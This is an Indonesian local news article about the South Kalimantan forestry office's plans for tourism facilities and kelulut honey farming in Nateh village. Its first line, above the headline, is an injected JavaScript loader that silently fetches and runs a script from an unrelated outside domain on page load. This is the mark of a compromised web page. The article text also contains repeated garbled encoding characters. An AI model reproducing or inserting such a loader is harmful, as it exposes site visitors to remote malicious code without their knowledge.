(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dishut Kembangkan Fasilitas Objek Wisata dari Jasling Desa Nateh

BARABAI, Potensi wisata dari jasa lingkungan (Jasling) di Desa Nateh Kecamatan Batang Alai Timur akan dikembangkan oleh Dinas Kehutanan (Dishut) Kalsel guna menggenjot Pendapatan Asli Daerah (PAD) yang saat ini dikedepankan oleh Pemerintah Provinsi Kalsel.Ãƒâ€šÃ‚Â Potensi Jasling yang dimiliki Desa Nateh untuk pengembangan pariwisata Kalsel berupa Arung Jeram, Gua dan Gunung Kukup yang ada di desa tersebut.

Kepala Dishut Kalsel, Dr Hanif Faisol Nurufiq mengatakan, salah satu penyumbang terbesar devisa Indonesia berasal dari sector pariwisata.Ãƒâ€šÃ‚Â Untuk itu rencananya Dishut Kalsel akan melakukan pengembangan fasilitas objek wisata bekerjasama dengan pihak Kemen LHK RI melalui BPSKL (Balai Perhutanan Sosial dan Kemitraan Lingkungan).

ÃƒÂ¢Ã¢â€šÂ¬Ã…â€œDishut melalui KPH Hulu Sungai akan terus berupaya menemukan wisata alam yang bisa dikembangkan, sehingga pemprov akan dapat memanfaatkan sector pariwisata yang belum tersentuh,ÃƒÂ¢Ã¢â€šÂ¬Ã‚Â ungkap Hanif.

Hanif menambahakan, wilayah LPHD (Lembaga Pengelola Hutan Desa) Nateh memiliki luas arel 1.501,54 Hektare.Ãƒâ€šÃ‚Â Selain memanfaatkan untuk pariwisata jasling disana, ÃƒÂ¢Ã¢â€šÂ¬Ã…â€œjuga akan mengembangkan budi daya madu kelulut,ÃƒÂ¢Ã¢â€šÂ¬Ã‚Â ujar Hanif.(abdullah)

Reporter : Abdullah
Editor : Chell